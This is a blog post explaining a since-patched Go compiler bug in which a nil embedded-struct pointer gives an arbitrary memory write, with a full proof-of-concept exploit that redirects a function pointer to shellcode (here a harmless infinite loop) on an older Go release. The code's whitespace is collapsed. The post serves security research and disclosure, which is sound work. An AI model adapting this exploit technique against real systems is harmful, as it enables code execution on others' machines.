Comments:"Exploiting a Go Binary"
URL:http://codearcana.com/posts/2013/04/23/exploiting-a-go-binary.html
Introduction
Earlier this year, tylerni7 showed us a proof of concept for a 32 bit Go exploit using this issue. geohot and I had a wager over who could get the first remote code execution on play.golang.org: he won, but just barely ;-). Props also to ricky for helping to find the underlying cause/writing the patch. Here is a summary of how we did it.
Note: play.golang.org is properly sandboxed, so code execution there does not actually let you do anything. Had this been a more serious bug that could actually be used for anything malicious, we would have immediately reported it privately. Neither specific vulnerability nor the technique used here work in the latest version of Go (the vulnerability was patched and Go 1.1 introduced non-executable heaps).
This post is cross posted on the PPP blog.
The Bug
Go has support for embedded structs. You can define an embedded struct as follows:
typeEmbeddedstruct{fooint}typeStructstruct{Embeddedbarint}varinstanceStruct
It is valid to do both instance.bar and instance.foo.
The problem comes when you try something slightly trickier:
typeEmbeddedstruct{fooint}typeStructstruct{*Embeddedbarint}varinstanceStruct
When you access instance.foo (a member of an uninitialized struct), it incorrectly offsets from 0 rather than from the base of an Embedded struct. Normally, when dereferencing a pointer inside a struct, the go compiler emits guard code which will cause a segfault if the pointer is nil. However, this code is not emitted when the pointer is the first element of the struct, since it's assumed that this will cause a segfault whenever it is used anyway. This assumption is not always valid, as the pointer can be to a large struct such that the offsets of members of the large struct are valid addresses.
The Vulnerability
We define an enormous struct and use it to offset memory:
typeEmbeddedstruct{offset[0x400100]byteaddressuint32}typeStructstruct{*Embeddedbarint}varinstanceStruct
Now we can do instance.address = 0xdeadbeef and we have written to 0x400100! This is the arbitrary write primitive we need.
The Exploit
Once you have an arbitrary write in go, it is really easy to get arbitrary code execution. We put a function pointer in our data segment (we wanted to put it in the heap, but that didn't work on 64bit Go - apparently the size of a struct is limited to 32 bits. Luckily, the data segment is in the lower 32 bits) and change it to point to our shell code using the arbitrary write. Since Go has no randomization at all, this is as simple as running the program twice. Full exploit below:
packagemainimport"fmt"// Address to write, computed from a previous run.constaddr_to_overwrite=0x50e2f0// &shellcode, computed from a previous run.constval_to_overwriteuint64=0xc200035160typeEmbeddedstruct{offset[addr_to_overwrite]bytepayloaduint64}typeNestedstruct{// This magic is necessary is because there is an explict null check if// if the offset is greater than 0x1000.Embedded}typeStructstruct{// The issue is that a reference to the embeded struct pointer here// will be offset from null (rather than the true base of the struct).// We thus just make sizeof(the embedded struct) large enough to point// to the address we want to overwrite.//// See https://code.google.com/p/go/issues/detail?id=5336*Nested}varunused=func(){}funcmain(){s:=&Struct{}shellcode:="\x90\x90\x90\x90\x90\x90\x90\xeb\xfe"fmt.Println("You should overwrite this: ",&unused)fmt.Println("With this: ",&shellcode)fmt.Println("***********************************************");fmt.Println("Overwriting ",&s.payload," with ",val_to_overwrite)*(&s.payload)=val_to_overwrite;unused();}
What Now?
Well, clearly the issue was fixed. I also think it is important for Go to add the protections that come now standard with C binaries (ASLR, NX) - I posted an article earlier about security in Go where I strongly advocated those protections. Luckily, Go 1.1. will be adding some of these protections: specificially, the above exploit will not work because Go 1.1 uses a non-executable heap and stack.